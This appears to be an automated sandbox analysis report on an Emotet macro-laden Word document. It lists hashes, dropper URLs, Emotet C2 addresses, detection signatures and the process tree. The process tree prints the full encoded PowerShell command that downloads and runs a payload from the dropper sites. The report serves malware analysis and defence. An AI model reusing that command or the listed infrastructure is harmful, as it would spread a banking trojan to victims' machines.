emotet | 37fa3d3cd6ac66a6c2dac81cdbfa47a07af9cc5d6103546473c07d0dec853636

General

Target
emotet_e1_37fa3d3cd6ac66a6c2dac81cdbfa47a07af9cc5d6103546473c07d0dec853636_2020-08-17__191044._doc.doc
Size 239KB
Sample200817-r6zbvgfjaa
SHA256 37fa3d3cd6ac66a6c2dac81cdbfa47a07af9cc5d6103546473c07d0dec853636
MD5 186d41e0fcaa12370361355cb3fc9a53
SHA1 272823f11d81b120c19f3ff7c6df60200b2314c1
SHA512 b3c093390d02aae5a9e583161a0ce020bdf2c75c9984107776c165210c4da7fab783209b2aa24875ab57cb5c8115c891ff4c72ba77fc60d43dd7f489dd44bd97
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://ukasian.com/wp-admin/Znk3yozl/
exe.dropper
http://techwala.net/wp-admin/tKX319361/
exe.dropper
http://schladzalniki.eko-bart.pl/cgi-bin/7f53903/
exe.dropper
https://mte1.cn/wp-includes/PkuVF1RiI/
exe.dropper
http://topkadry.com.ua/cgi-bin/dhH718397/

Extracted

Family

emotet

C2

45.173.88.33:80
209.126.6.222:8080
5.153.250.14:8080
77.90.136.129:8080
104.131.41.185:8080
190.190.148.27:8080
95.85.151.205:80
46.28.111.142:7080
91.222.77.105:80
80.249.176.206:80
83.169.21.32:7080
213.60.96.117:80
185.94.252.27:443
89.32.150.160:8080
12.162.84.2:8080
81.198.69.61:80
85.105.140.135:443
202.4.57.96:80
147.91.184.91:80
192.241.143.52:8080
178.250.54.208:8080
190.147.137.153:443
185.94.252.12:80
87.106.46.107:8080
170.81.48.2:80
172.104.169.32:8080
177.73.0.98:443
212.71.237.140:8080
177.74.228.34:80
186.32.90.103:443
187.162.248.237:80
61.92.159.208:8080
91.219.169.180:80
188.2.217.94:80
201.171.150.41:443
177.72.13.80:80
24.135.1.177:80
104.131.103.37:8080
212.93.117.170:80
186.70.127.199:8090
217.199.160.224:7080
68.183.170.114:8080
77.55.211.77:8080
204.225.249.100:7080
68.183.190.199:8080
137.74.106.111:7080
190.115.18.139:8080
73.116.193.136:80
70.32.115.157:8080
213.176.36.147:8080
209.236.123.42:8080
45.161.242.102:80
24.148.98.177:80
5.196.35.138:7080
116.125.120.88:443
190.195.129.227:8090
191.99.160.58:80
186.250.52.226:8080
111.67.12.221:8080
82.196.15.205:8080
2.47.112.152:80
51.255.165.160:8080
219.92.13.25:80
191.182.6.118:80
67.247.242.247:80
94.206.45.18:80
58.171.153.81:80
186.103.141.250:443
207.144.103.227:80
143.0.87.101:80
95.9.180.128:80
82.76.111.249:443
174.100.27.229:80
114.109.179.60:80
190.6.193.152:8080
51.159.23.217:443
45.33.77.42:8080
189.2.177.210:443
70.32.84.74:8080
190.163.31.26:80
217.13.106.14:8080
192.241.146.84:8080
72.47.248.48:7080
181.129.96.162:8080
24.135.198.218:80
178.79.163.131:8080
149.62.173.247:8080
94.176.234.118:443
50.28.51.143:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1824	504	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3564-13-0x00000000009E0000-0x00000000009EC000-memory.dmp	emotet
behavioral2/memory/3564-13-0x00000000009E0000-0x00000000009EC000-memory.dmp	emotet
behavioral2/memory/1900-16-0x0000000000560000-0x000000000056C000-memory.dmp	emotet
behavioral2/memory/1900-16-0x0000000000560000-0x000000000056C000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
19	1824	powersheLL.exe
22	1824	powersheLL.exe
24	1824	powersheLL.exe
26	1824	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3564	Vd5v650.exe
1900	Microsoft-Windows-MosTrace.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SettingSyncCore\Microsoft-Windows-MosTrace.exe	Vd5v650.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1824	powersheLL.exe
1824	powersheLL.exe
1824	powersheLL.exe
1900	Microsoft-Windows-MosTrace.exe
1900	Microsoft-Windows-MosTrace.exe
1900	Microsoft-Windows-MosTrace.exe
1900	Microsoft-Windows-MosTrace.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1824	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3564	Vd5v650.exe
3564	Vd5v650.exe
1900	Microsoft-Windows-MosTrace.exe
1900	Microsoft-Windows-MosTrace.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1824 wrote to memory of 3564	1824	powersheLL.exe	77
PID 1824 wrote to memory of 3564	1824	powersheLL.exe	77
PID 1824 wrote to memory of 3564	1824	powersheLL.exe	77
PID 3564 wrote to memory of 1900	3564	Vd5v650.exe	78
PID 3564 wrote to memory of 1900	3564	Vd5v650.exe	78
PID 3564 wrote to memory of 1900	3564	Vd5v650.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_37fa3d3cd6ac66a6c2dac81cdbfa47a07af9cc5d6103546473c07d0dec853636_2020-08-17__191044._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAGgAMABjAGYAdAAzAD0AKAAnAFUAOABuAHoAJwArACcAagBnACcAKwAnAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBwAFwATwBmAEYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAdQByAGkAdABgAFkAcAByAGAATwBUAG8AQwBgAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxACcAKwAnADIALAAgAHQAbABzADEAJwArACcAMQAnACsAJwAsACAAdABsAHMAJwApADsAJABXAF8AYgA2AHEAeQAxACAAPQAgACgAJwBWAGQANQB2ACcAKwAnADYANQAnACsAJwAwACcAKQA7ACQAVgB3AHYAdwAyAGwAcAA9ACgAJwBCAG8AbgAnACsAJwA3ADMANwByACcAKQA7ACQAUwB6AHQANAA5AGYAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAewAnACsAJwAwAH0ATwBmACcAKwAnAGYAaQBjAGUAMgAwADEAOQB7ADAAfQAnACkAIAAgAC0ARgBbAEMASABBAHIAXQA5ADIAKQArACQAVwBfAGIANgBxAHkAMQArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQAWABlAGIAYgA0AGoAagA9ACgAJwBQAHUAYgBtADUAJwArACcAZQAzACcAKQA7ACQARQA0ADEAdABrAG8AeAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAFQALgB3AGUAYgBDAEwAaQBFAG4AVAA7ACQAUQAzAGUAcgB3ADMAZwA9ACgAJwBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHUAawBhAHMAaQBhAG4ALgBjAG8AbQAvAHcAcAAtACcAKwAnAGEAJwArACcAZABtAGkAbgAnACsAJwAvAFoAbgAnACsAJwBrACcAKwAnADMAeQBvAHoAbAAvACoAaAB0AHQAcAA6ACcAKwAnAC8ALwB0ACcAKwAnAGUAYwBoAHcAYQBsAGEALgAnACsAJwBuAGUAdAAnACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAbgAvACcAKwAnAHQASwBYADMAJwArACcAMQA5ADMANgAxAC8AJwArACcAKgBoAHQAdABwADoALwAvAHMAYwBoACcAKwAnAGwAYQAnACsAJwBkAHoAJwArACcAYQBsAG4AaQBrAGkALgBlACcAKwAnAGsAbwAtAGIAJwArACcAYQByAHQAJwArACcALgBwAGwALwAnACsAJwBjAGcAaQAtAGIAaQAnACsAJwBuAC8AJwArACcANwBmADUAMwAnACsAJwA5ADAAMwAvACoAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAvAG0AdABlACcAKwAnADEALgBjACcAKwAnAG4ALwB3AHAALQBpAG4AYwAnACsAJwBsAHUAZABlAHMALwBQAGsAdQBWAEYAJwArACcAMQBSAGkASQAvACoAaAB0AHQAJwArACcAcAA6AC8ALwB0AG8AJwArACcAcABrACcAKwAnAGEAZAByAHkALgBjAG8AbQAuAHUAJwArACcAYQAnACsAJwAvAGMAZwBpAC0AYgBpACcAKwAnAG4ALwBkACcAKwAnAGgASAA3ADEAJwArACcAOAAzADkANwAnACsAJwAvACcAKQAuACIAUwBwAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABHAHIAagB1ADkAZwB6AD0AKAAnAE0AZwAnACsAJwB3ADcANAAnACsAJwB0ADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA0AGEAZQBkADEAMAAgAGkAbgAgACQAUQAzAGUAcgB3ADMAZwApAHsAdAByAHkAewAkAEUANAAxAHQAawBvAHgALgAiAEQAbwBXAG4AYABMAE8AYABBAEQARgBJAGwARQAiACgAJABWADQAYQBlAGQAMQAwACwAIAAkAFMAegB0ADQAOQBmADAAKQA7ACQAUQB3AHoAMgA0ADkAegA9ACgAJwBKADgAXwBnAGsAJwArACcAZABtACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABTAHoAdAA0ADkAZgAwACkALgAiAEwARQBgAE4AZwBUAEgAIgAgAC0AZwBlACAAMwA5ADIANAA4ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFMAegB0ADQAOQBmADAAKQA7ACQATQB3AGsAeAA4AGoAMgA9ACgAJwBPACcAKwAnAHUAdwAnACsAJwB4AG8ANwBkACcAKQA7AGIAcgBlAGEAawA7ACQAQwB6AGkAcABiAGUAbQA9ACgAJwBSAGgAYgAnACsAJwBnACcAKwAnAHMAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBqAG0AOABwAGwAMgA9ACgAJwBZAGwAaQAnACsAJwBuAGQAOQBfACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1824
- C:\Users\Admin\AppData\Local\Temp\Office2019\Vd5v650.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Vd5v650.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3564
- - C:\Windows\SysWOW64\SettingSyncCore\Microsoft-Windows-MosTrace.exe
    "C:\Windows\SysWOW64\SettingSyncCore\Microsoft-Windows-MosTrace.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1824-7-0x00007FF8BBE00000-0x00007FF8BC7EC000-memory.dmp

Download

memory/1824-8-0x0000024F604F0000-0x0000024F604F1000-memory.dmp

Download

memory/1824-9-0x0000024F606A0000-0x0000024F606A1000-memory.dmp

Download

memory/1900-16-0x0000000000560000-0x000000000056C000-memory.dmp

Download

memory/3564-13-0x00000000009E0000-0x00000000009EC000-memory.dmp

Download

memory/3816-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads